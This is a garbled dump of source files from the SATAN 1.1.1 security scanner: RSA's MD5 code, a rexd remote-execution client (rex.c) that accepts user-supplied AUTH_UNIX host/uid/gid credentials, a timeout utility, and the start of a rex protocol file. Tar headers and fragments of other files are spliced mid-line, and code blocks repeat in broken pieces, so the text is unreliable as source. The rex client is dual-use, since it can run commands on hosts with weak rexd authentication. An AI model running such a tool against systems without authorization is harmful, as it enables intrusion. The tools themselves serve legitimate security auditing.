  12249. union bp_address switch (int address_type) {
  12250. .case IP_ADDR_TYPE:
  12251. ..ip_addr_t.ip_addr;
  12252. };
  12253.  
  12254. struct bp_whoami_arg {
  12255. .bp_address..client_address;
  12256. };
  12257.  
  12258. struct bp_whoami_res {
  12259. .bp_machine_name_t.clisatan-1.1.1/src/misc/md5.h..........................................................................   400 .   465 .   506 .       2501  5720110070  10235. ...............................................................................
  12260. .................................................................................................................................................................................................................................................................
  12261. ..................../* MD5.H - header file for MD5C.C
  12262.  */
  12263.  
  12264. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  12265. rights reserved.
  12266.  
  12267. License to copy and use this software is granted provided that it
  12268. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  12269. Algorithm" in all material mentioning or referencing this software
  12270. or this function.
  12271.  
  12272. License is also granted to make and use derivative works provided
  12273. that such works are identified as "derived from the RSA Data
  12274. Security, Inc. MD5 Message-Digest Algorithm" in all material
  12275. mentioning or referencing the derived work.
  12276.  
  12277. RSA Data Security, Inc. makes no representations concerning either
  12278. the merchantability of this software or the suitability of this
  12279. software for any particular purpose. It is provided "as is"
  12280. without express or implied warranty of any kind.
  12281.  
  12282. These notices must be retained in any copies of any part of this
  12283. documentation and/or software.
  12284.  */
  12285.  
  12286. /* MD5 context. */
  12287. typedef struct {
  12288.   UINT4 state[4];                                   /* state (ABCD) */
  12289.   UINT4 count[2];        /* number of bits, modulo 2^64 (lsb first) */
  12290.   unsigned char buffer[64];                         /* input buffer */
  12291. } MD5_CTX;
  12292.  
  12293. void MD5Init PROTO_LIST((MD5_CTX *));
  12294. void MD5Update PROTO_LIST((MD5_CTX *, unsigned char *, unsigned int));
  12295. void MD5Final PROTO_LIST((unsigned char [16], MD5_CTX *));
  12296. union bp_address switch (int address_type) {
  12297. .case IP_ADDR_TYPE:
  12298. ..ip_addr_t.ip_addr;
  12299. };
  12300.  
  12301. struct bp_whoami_arg {
  12302. .bp_address..client_address;
  12303. };
  12304.  
  12305. struct bp_whoami_res {
  12306. .bp_machine_name_t.clisatan-1.1.1/src/misc/md5c.c.........................................................................   400 .   465 .   506 .      24267  5720110070  10430. ...............................................................................
  12307. .................................................................................................................................................................................................................................................................
  12308. ..................../* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
  12309.  */
  12310.  
  12311. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  12312. rights reserved.
  12313.  
  12314. License to copy and use this software is granted provided that it
  12315. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  12316. Algorithm" in all material mentioning or referencing this software
  12317. or this function.
  12318.  
  12319. License is also granted to make and use derivative works provided
  12320. that such works are identified as "derived from the RSA Data
  12321. Security, Inc. MD5 Message-Digest Algorithm" in all material
  12322. mentioning or referencing the derived work.
  12323.  
  12324. RSA Data Security, Inc. makes no representations concerning either
  12325. the merchantability of this software or the suitability of this
  12326. software for any particular purpose. It is provided "as is"
  12327. without express or implied warranty of any kind.
  12328.  
  12329. These notices must be retained in any copies of any part of this
  12330. documentation and/or software.
  12331.  */
  12332.  
  12333. #include "global.h"
  12334. #include "md5.h"
  12335.  
  12336. /* Constants for MD5Transform routine.
  12337.  */
  12338. #define S11 7
  12339. #define S12 12
  12340. #define S13 17
  12341. #define S14 22
  12342. #define S21 5
  12343. #define S22 9
  12344. #define S23 14
  12345. #define S24 20
  12346. #define S31 4
  12347. #define S32 11
  12348. #define S33 16
  12349. #define S34 23
  12350. #define S41 6
  12351. #define S42 10
  12352. #define S43 15
  12353. #define S44 21
  12354.  
  12355. static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
  12356. static void Encode PROTO_LIST
  12357.   ((unsigned char *, UINT4 *, unsigned int));
  12358. static void Decode PROTO_LIST
  12359.   ((UINT4 *, unsigned char *, unsigned int));
  12360. static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
  12361. static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));
  12362.  
  12363. static unsigned char PADDING[64] = {
  12364.   0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  12365.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  12366.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  12367. };
  12368.  
  12369. /* F, G, H and I are basic MD5 functions.
  12370.  */
  12371. #define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
  12372. #define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
  12373. #define H(x, y, z) ((x) ^ (y) ^ (z))
  12374. #define I(x, y, z) ((y) ^ ((x) | (~z)))
  12375.  
  12376. /* ROTATE_LEFT rotates x left n bits.
  12377.  */
  12378. #define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
  12379.  
  12380. /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
  12381. Rotation is separate from addition to prevent recomputation.
  12382.  */
  12383. #define FF(a, b, c, d, x, s, ac) { \
  12384.  (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
  12385.  (a) = ROTATE_LEFT ((a), (s)); \
  12386.  (a) += (b); \
  12387.   }
  12388. #define GG(a, b, c, d, x, s, ac) { \
  12389.  (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
  12390.  (a) = ROTATE_LEFT ((a), (s)); \
  12391.  (a) += (b); \
  12392.   }
  12393. #define HH(a, b, c, d, x, s, ac) { \
  12394.  (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
  12395.  (a) = ROTATE_LEFT ((a), (s)); \
  12396.  (a) += (b); \
  12397.   }
  12398. #define II(a, b, c, d, x, s, ac) { \
  12399.  (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
  12400.  (a) = ROTATE_LEFT ((a), (s)); \
  12401.  (a) += (b); \
  12402.   }
  12403.  
  12404. /* MD5 initialization. Begins an MD5 operation, writing a new context.
  12405.  */
  12406. void MD5Init (context)
  12407. MD5_CTX *context;                                        /* context */
  12408. {
  12409.   context->count[0] = context->count[1] = 0;
  12410.   /* Load magic initialization constants.
  12411. */
  12412.   context->state[0] = 0x67452301;
  12413.   context->state[1] = 0xefcdab89;
  12414.   context->state[2] = 0x98badcfe;
  12415.   context->state[3] = 0x10325476;
  12416. }
  12417.  
  12418. /* MD5 block update operation. Continues an MD5 message-digest
  12419.   operation, processing another message block, and updating the
  12420.   context.
  12421.  */
  12422. void MD5Update (context, input, inputLen)
  12423. MD5_CTX *context;                                        /* context */
  12424. unsigned char *input;                                /* input block */
  12425. unsigned int inputLen;                     /* length of input block */
  12426. {
  12427.   unsigned int i, index, partLen;
  12428.  
  12429.   /* Compute number of bytes mod 64 */
  12430.   index = (unsigned int)((context->count[0] >> 3) & 0x3F);
  12431.  
  12432.   /* Update number of bits */
  12433.   if ((context->count[0] += ((UINT4)inputLen << 3))
  12434.    < ((UINT4)inputLen << 3))
  12435.  context->count[1]++;
  12436.   context->count[1] += ((UINT4)inputLen >> 29);
  12437.  
  12438.   partLen = 64 - index;
  12439.  
  12440.   /* Transform as many times as possible.
  12441. */
  12442.   if (inputLen >= partLen) {
  12443.  MD5_memcpy
  12444.    ((POINTER)&context->buffer[index], (POINTER)input, partLen);
  12445.  MD5Transform (context->state, context->buffer);
  12446.  
  12447.  for (i = partLen; i + 63 < inputLen; i += 64)
  12448.    MD5Transform (context->state, &input[i]);
  12449.  
  12450.  index = 0;
  12451.   }
  12452.   else
  12453.  i = 0;
  12454.  
  12455.   /* Buffer remaining input */
  12456.   MD5_memcpy
  12457.  ((POINTER)&context->buffer[index], (POINTER)&input[i],
  12458.   inputLen-i);
  12459. }
  12460.  
  12461. /* MD5 finalization. Ends an MD5 message-digest operation, writing the
  12462.   the message digest and zeroizing the context.
  12463.  */
  12464. void MD5Final (digest, context)
  12465. unsigned char digest[16];                         /* message digest */
  12466. MD5_CTX *context;                                       /* context */
  12467. {
  12468.   unsigned char bits[8];
  12469.   unsigned int index, padLen;
  12470.  
  12471.   /* Save number of bits */
  12472.   Encode (bits, context->count, 8);
  12473.  
  12474.   /* Pad out to 56 mod 64.
  12475. */
  12476.   index = (unsigned int)((context->count[0] >> 3) & 0x3f);
  12477.   padLen = (index < 56) ? (56 - index) : (120 - index);
  12478.   MD5Update (context, PADDING, padLen);
  12479.  
  12480.   /* Append length (before padding) */
  12481.   MD5Update (context, bits, 8);
  12482.   /* Store state in digest */
  12483.   Encode (digest, context->state, 16);
  12484.  
  12485.   /* Zeroize sensitive information.
  12486. */
  12487.   MD5_memset ((POINTER)context, 0, sizeof (*context));
  12488. }
  12489.  
  12490. /* MD5 basic transformation. Transforms state based on block.
  12491.  */
  12492. static void MD5Transform (state, block)
  12493. UINT4 state[4];
  12494. unsigned char block[64];
  12495. {
  12496.   UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
  12497.  
  12498.   Decode (x, block, 64);
  12499.  
  12500.   /* Round 1 */
  12501.   FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  12502.   FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  12503.   FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  12504.   FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  12505.   FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  12506.   FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  12507.   FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  12508.   FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  12509.   FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  12510.   FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  12511.   FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  12512.   FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  12513.   FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  12514.   FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  12515.   FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  12516.   FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
  12517.  
  12518.  /* Round 2 */
  12519.   GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  12520.   GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  12521.   GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  12522.   GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  12523.   GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  12524.   GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  12525.   GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  12526.   GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  12527.   GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  12528.   GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  12529.   GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
  12530.   GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  12531.   GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  12532.   GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  12533.   GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  12534.   GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
  12535.  
  12536.   /* Round 3 */
  12537.   HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  12538.   HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  12539.   HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  12540.   HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  12541.   HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  12542.   HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  12543.   HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  12544.   HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  12545.   HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  12546.   HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  12547.   HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  12548.   HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  12549.   HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  12550.   HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  12551.   HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  12552.   HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
  12553.  
  12554.   /* Round 4 */
  12555.   II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  12556.   II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  12557.   II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  12558.   II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  12559.   II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  12560.   II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  12561.   II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  12562.   II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  12563.   II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  12564.   II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  12565.   II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  12566.   II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  12567.   II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  12568.   II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  12569.   II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  12570.   II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
  12571.  
  12572.   state[0] += a;
  12573.   state[1] += b;
  12574.   state[2] += c;
  12575.   state[3] += d;
  12576.  
  12577.   /* Zeroize sensitive information.
  12578. */
  12579.   MD5_memset ((POINTER)x, 0, sizeof (x));
  12580. }
  12581.  
  12582. /* Encodes input (UINT4) into output (unsigned char). Assumes len is
  12583.   a multiple of 4.
  12584.  */
  12585. static void Encode (output, input, len)
  12586. unsigned char *output;
  12587. UINT4 *input;
  12588. unsigned int len;
  12589. {
  12590.   unsigned int i, j;
  12591.  
  12592.   for (i = 0, j = 0; j < len; i++, j += 4) {
  12593.  output[j] = (unsigned char)(input[i] & 0xff);
  12594.  output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
  12595.  output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
  12596.  output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
  12597.   }
  12598. }
  12599.  
  12600. /* Decodes input (unsigned char) into output (UINT4). Assumes len is
  12601.   a multiple of 4.
  12602.  */
  12603. static void Decode (output, input, len)
  12604. UINT4 *output;
  12605. unsigned char *input;
  12606. unsigned int len;
  12607. {
  12608.   unsigned int i, j;
  12609.  
  12610.   for (i = 0, j = 0; j < len; i++, j += 4)
  12611.  output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
  12612.    (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
  12613. }
  12614.  
  12615. /* Note: Replace "for loop" with standard memcpy if possible.
  12616.  */
  12617.  
  12618. static void MD5_memcpy (output, input, len)
  12619. POINTER output;
  12620. POINTER input;
  12621. unsigned int len;
  12622. {
  12623.   unsigned int i;
  12624.  
  12625.   for (i = 0; i < len; i++)
  12626.  output[i] = input[i];
  12627. }
  12628.  
  12629. /* Note: Replace "for loop" with standard memset if possible.
  12630.  */
  12631. static void MD5_memset (output, value, len)
  12632. POINTER output;
  12633. int value;
  12634. unsigned int len;
  12635. {
  12636.   unsigned int i;
  12637.  
  12638.   for (i = 0; i < len; i++)
  12639.  ((char *)output)[i] = (char)value;
  12640. }
  12641. 15 */
  12642.   FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
  12643.  
  12644.  /* Round 2 */
  12645.   GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  12646.   GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  12647.   GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  12648.   GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  12649.   GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 2satan-1.1.1/src/misc/rex.c..........................................................................   600 .   465 .   506 .      13615  5727123065  10412. ......................................................
  12650. .................................................................................................................................................................................................................................................................
  12651. ............................................. /*
  12652.   * rex - simplified rexd client. Usage: rex [-a authinfo] server command...
  12653.   * 
  12654.   * Author: Wietse Venema
  12655.   */
  12656.  
  12657. /* System libraries. */
  12658.  
  12659. #include <sys/types.h>
  12660. #include <sys/socket.h>
  12661. #include <sys/time.h>
  12662. #include <stdio.h>
  12663. #include <stdlib.h>
  12664. #include <unistd.h>
  12665. #include <netdb.h>
  12666. #include <memory.h>
  12667. #include <string.h>
  12668.  
  12669.  /*
  12670.   * Sun now wants us to #define PORTMAP or things fall apart.
  12671.   */
  12672. #define PORTMAP
  12673. #include <rpc/rpc.h>
  12674.  
  12675. extern int optind;
  12676. extern char *optarg;
  12677.  
  12678.  /*
  12679.   * Many <rpc/rex.h> versions depend on the historical sgttyb
  12680.   * terminal control structure. We must use our on version.
  12681.   */
  12682.  
  12683. #include "rex.h"
  12684.  
  12685. /* Local stuff. */
  12686.  
  12687. static char *progname;
  12688. static CLIENT *rex_server();
  12689. static AUTH *rex_auth();
  12690. static int rex_command();
  12691. static void rex_startup();
  12692. static void do_io();
  12693. static int rex_exit();
  12694. static int stream_port();
  12695.  
  12696. /* Defaults. */
  12697.  
  12698. static struct timeval timeout = {10, 0};
  12699.  
  12700. static char *serv_env[] = {
  12701.     "PATH=/usr/ucb:/bin:/usr/bin",
  12702.     0,
  12703. };
  12704.  
  12705. static void usage()
  12706. {
  12707.     printf("Usage: %s [-a authinfo] server command...\n", progname);
  12708.     exit(1);
  12709. }
  12710.  
  12711. main(argc, argv)
  12712. int     argc;
  12713. char  **argv;
  12714. {
  12715.     int     c;
  12716.     CLIENT *client;
  12717.     int     server_sock;
  12718.     char   *auth = 0;
  12719.  
  12720.     progname = argv[0];
  12721.  
  12722.     while ((c = getopt(argc, argv, "a:")) != EOF) {
  12723. .switch (c) {
  12724. .case 'a':
  12725. .    auth = optarg;
  12726. .    break;
  12727. .default:
  12728. .    usage();
  12729. .}
  12730.     }
  12731.     argc -= optind;
  12732.     argv += optind;
  12733.     if (argc < 2)
  12734. .usage();
  12735.  
  12736.     /* Establish rexd server, run command, and clean up. */
  12737.  
  12738.     client = rex_server(argv[0]);
  12739.     client->cl_auth = (auth == 0) ? authunix_create_default() : rex_auth(auth);
  12740.     server_sock = rex_command(client, argv[0], argv + 1);
  12741.     do_io(server_sock);
  12742.     return (rex_exit(client, server_sock));
  12743. }
  12744.  
  12745. /* rex_server - establish rexd server instance */
  12746.  
  12747. static CLIENT *rex_server(server_name)
  12748. char   *server_name;
  12749. {
  12750.     struct hostent *hp;
  12751.     struct sockaddr_in server_addr;
  12752.     int     sock = RPC_ANYSOCK;
  12753.     CLIENT *client;
  12754.  
  12755.     /* Find server's IP address. */
  12756.  
  12757.     if ((hp = gethostbyname(server_name)) == 0) {
  12758. .fprintf(stderr, "%s: host not found\n", server_name);
  12759. .exit(1);
  12760.     }
  12761.     /* XXX should iterate over all IP addresses. */
  12762.  
  12763.     server_addr.sin_family = AF_INET;
  12764.     memcpy((caddr_t) & server_addr.sin_addr, hp->h_addr, hp->h_length);
  12765.     server_addr.sin_port = 0;
  12766.  
  12767.     if ((client = clnttcp_create(&server_addr,
  12768. .... REXPROG, REXVERS,
  12769. .... &sock, 0, 0)) == 0) {
  12770. .fprintf(stderr, "%s: ", server_name);
  12771. .clnt_pcreateerror(server_name);
  12772. .fprintf(stderr, "\n");
  12773. .exit(1);
  12774.     }
  12775.     return (client);
  12776. }
  12777.  
  12778. /* rex_auth - handle explicit credentials */
  12779.  
  12780. static AUTH *rex_auth(auth)
  12781. char   *auth;
  12782. {
  12783.     char    host[BUFSIZ];
  12784.     int     uid;
  12785.     AUTH_GID_T gid;
  12786.  
  12787.     if (sscanf(auth, "%[^,],%d,%d", host, &uid, &gid) != 3)
  12788. .usage();
  12789.     return (authunix_create(host, uid, gid, 1, &gid));
  12790. }
  12791.  
  12792. /* rex_command - open socket to remote command */
  12793.  
  12794. static int rex_command(client, server_name, command)
  12795. CLIENT *client;
  12796. char   *server_name;
  12797. char  **command;
  12798. {
  12799.     static rex_start rx_start;
  12800.     static rex_result rx_result;
  12801.     enum clnt_stat stat;
  12802.     int     sock;
  12803.     int     server_sock;
  12804.     char    cwd_host[BUFSIZ];
  12805.     char  **cpp;
  12806.  
  12807.     sscanf(server_name, "%[^.]", cwd_host);./* XXX for old servers */
  12808.  
  12809.     rx_start.rst_cmd.rst_cmd_val = command;
  12810.     for (cpp = command; *cpp; cpp++)
  12811. . /* void */ ;
  12812.     rx_start.rst_cmd.rst_cmd_len = cpp - command;
  12813.     rx_start.rst_host = cwd_host;../* cwd server */
  12814.     rx_start.rst_fsname = "";.../* cwd file system */
  12815.     rx_start.rst_dirwithin = "";../* cwd offset */
  12816.     rx_start.rst_env.rst_env_val = serv_env;
  12817.     for (cpp = serv_env; *cpp; cpp++)
  12818. . /* void */ ;
  12819.     rx_start.rst_env.rst_env_len = cpp - serv_env;
  12820.     rx_start.rst_port0 = stream_port(&sock);
  12821.     rx_start.rst_port1 = rx_start.rst_port0;
  12822.     rx_start.rst_port2 = rx_start.rst_port1;
  12823.     rx_start.rst_flags = 0;
  12824.  
  12825.     if (stat = clnt_call(client, REXPROC_START,
  12826. ... xdr_rex_start, (void *) &rx_start,
  12827. ... xdr_rex_result, (void *) &rx_result,
  12828. ... timeout)) {
  12829. .fprintf(stderr, "%s: ", progname);
  12830. .clnt_perrno(stat);
  12831. .fprintf(stderr, "\n");
  12832. .exit(1);
  12833.     }
  12834.     if (rx_result.rlt_stat) {
  12835. .fprintf(stderr, "%s: %s\n", progname, rx_result.rlt_message);
  12836. .exit(1);
  12837.     }
  12838.     if ((server_sock = accept(sock, (struct sockaddr *) 0, (int *) 0)) < 0) {
  12839. .perror("accept");
  12840. .exit(1);
  12841.     }
  12842.     close(sock);
  12843.     return (server_sock);
  12844. }
  12845.  
  12846. /* do_io - shuffle bits across the network */
  12847.  
  12848. static void do_io(sock)
  12849. int     sock;
  12850. {
  12851.     char    buf[BUFSIZ];
  12852.     int     count;
  12853.  
  12854.     shutdown(sock, 1);..../* make server read EOF */
  12855.     while ((count = read(sock, buf, sizeof(buf))) > 0)
  12856. .write(1, buf, count);
  12857. }
  12858.  
  12859. /* rex_exit - terminate remote command and get its exit status */
  12860.  
  12861. static int rex_exit(client, server_sock)
  12862. CLIENT *client;
  12863. int     server_sock;
  12864. {
  12865.     static struct rex_result rx_result;
  12866.     enum clnt_stat stat;
  12867.  
  12868.     close(server_sock);
  12869.     if (stat = clnt_call(client, REXPROC_WAIT,
  12870. ... xdr_void, (void *) 0,
  12871. ... xdr_rex_result, (void *) &rx_result,
  12872. ... timeout)) {
  12873. .fprintf(stderr, "%s ", progname);
  12874. .clnt_perrno(stat);
  12875. .fprintf(stderr, "\n");
  12876. .exit(1);
  12877.     }
  12878.     return (rx_result.rlt_stat);
  12879. }
  12880.  
  12881. /* stream_port - create ready-to-accept socket and return port number */
  12882.  
  12883. static int stream_port(sockp)
  12884. int    *sockp;
  12885. {
  12886.     struct sockaddr_in sin;
  12887.     int     sock;
  12888.     int     len;
  12889.  
  12890.     /* Create socket. */
  12891.  
  12892.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  12893. .perror("socket");
  12894. .exit(1);
  12895.     }
  12896.     /* Bind the socket to some random port. */
  12897.  
  12898.     memset((char *) &sin, 0, sizeof(sin));
  12899.     sin.sin_family = AF_INET;
  12900.     if (bind(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) {
  12901. .perror("bind");
  12902. .exit(1);
  12903.     }
  12904.     /* Find out the socket's port number. */
  12905.  
  12906.     len = sizeof(sin);
  12907.     if (getsockname(sock, (struct sockaddr *) & sin, &len) < 0) {
  12908. .perror("getsockname");
  12909. .exit(1);
  12910.     }
  12911.     /* Make the socket ready to receive connections. */
  12912.  
  12913.     if (listen(sock, 1) < 0) {
  12914. .perror("listen");
  12915. .exit(1);
  12916.     }
  12917.     *sockp = sock;
  12918.     return (htons(sin.sin_port));
  12919. }
  12920. )
  12921. CLIENT *client;
  12922. char   *server_name;
  12923. char  **command;
  12924. {
  12925.     static rex_start rx_start;
  12926.     static rex_result rx_rsatan-1.1.1/src/misc/timeout.c......................................................................   600 .   465 .   506 .       3123  5740245125  11250. ...........................................................................
  12927. .................................................................................................................................................................................................................................................................
  12928. ........................ /*
  12929.   * timeout - run a command for a limited amount of time
  12930.   * 
  12931.   * Uses POSIX process groups so that we do the right thing when the controlled
  12932.   * command forks off child processes.
  12933.   * 
  12934.   * Author: Wietse Venema.
  12935.   */
  12936.  
  12937. /* System libraries. */
  12938.  
  12939. #include <sys/types.h>
  12940. #include <signal.h>
  12941. #include <stdlib.h>
  12942. #include <unistd.h>
  12943. #include <stdio.h>
  12944.  
  12945. extern int optind;
  12946.  
  12947. /* Application-specific. */
  12948.  
  12949. #define perrorexit(s) { perror(s); exit(1); }
  12950.  
  12951. static int kill_signal = SIGKILL;
  12952. static char *progname;
  12953.  
  12954. static void usage()
  12955. {
  12956.     fprintf(stderr, "usage: %s [-signal] time command...\n", progname);
  12957.     exit(1);
  12958. }
  12959.  
  12960. static void terminate(sig)
  12961. int     sig;
  12962. {
  12963.     kill(0, kill_signal);
  12964. }
  12965.  
  12966. int     main(argc, argv)
  12967. int     argc;
  12968. char  **argv;
  12969. {
  12970.     int     time_to_run;
  12971.     pid_t   pid;
  12972.     pid_t   child_pid;
  12973.     int     status;
  12974.  
  12975.     progname = argv[0];
  12976.  
  12977.     /*
  12978.      * Parse JCL.
  12979.      */
  12980.     while (--argc && *++argv && **argv == '-')
  12981. .if ((kill_signal = atoi(*argv + 1)) <= 0)
  12982. .    usage();
  12983.  
  12984.     if (argc < 2 || (time_to_run = atoi(argv[0])) <= 0)
  12985. .usage();
  12986.  
  12987.     /*
  12988.      * Run the command and its watchdog in a separate process group so that
  12989.      * both can be killed of with one signal.
  12990.      */
  12991.     setsid();
  12992.     switch (child_pid = fork()) {
  12993.     case -1:...../* error */
  12994. .perrorexit("timeout: fork");
  12995.     case 00:...../* run controlled command */
  12996. .execvp(argv[1], argv + 1);
  12997. .perrorexit(argv[1]);
  12998.     default:...../* become watchdog */
  12999. .(void) signal(SIGALRM, terminate);
  13000. .alarm(time_to_run);
  13001. .while ((pid = wait(&status)) != -1 && pid != child_pid)
  13002. .     /* void */ ;
  13003. .return (pid == child_pid ? status : -1);
  13004.     }
  13005. }
  13006. , progname, rx_result.rlt_message);
  13007. .exit(1);
  13008.     }
  13009.     if ((server_sock = accept(sock, (struct sockaddr *) 0, (int *) 0)) < 0) {
  13010. .perror("accept");
  13011. .exit(1);
  13012.     }
  13013.     close(sock);
  13014.     return (server_sock);
  13015. }
  13016.  
  13017. /* do_io - shuffle bits across the network */
  13018.  
  13019. static void do_io(sock)
  13020. int     sock;
  13021. {
  13022.     char    buf[BUFSIZ];
  13023.     int     count;
  13024.  
  13025.     shutdown(sock, 1);..../* make server read EOF */
  13026.     while ((count = read(sock, busatan-1.1.1/src/misc/rex.x..........................................................................   400 .   465 .   506 .      16222  5664357622  10442. ....................................................................
  13027. .................................................................................................................................................................................................................................................................
  13028. .............................../*
  13029.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  13030.  * unrestricted use provided that this legend is included on all tape
  13031.  * media and as a part of the software program in whole or part.  Users
  13032.  * may copy or modify Sun RPC without charge, but are not authorized
  13033.  * to license or distribute it to anyone else except as part of a product or
  13034.  * program developed by the user.
  13035.  * 
  13036.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  13037.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  13038.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  13039.  * 
  13040.  * Sun RPC is provided with no support and without any obligation on the
  13041.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  13042.  * modification or enhancement.
  13043.  * 
  13044.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  13045.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  13046.  * OR ANY PART THEREOF.
  13047.  * 
  13048.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  13049.  * or profits or other special, indirect and consequential damages, even if
  13050.  * Sun has been advised of the possibility of such damages.
  13051.  * 
  13052.  * Sun Microsystems, Inc.
  13053.  * 2550 Garcia Avenue
  13054.  * Mountain View, California  94043
  13055.  */
  13056.  
  13057. /*
  13058.  * Remote execution (rex) protocol specification
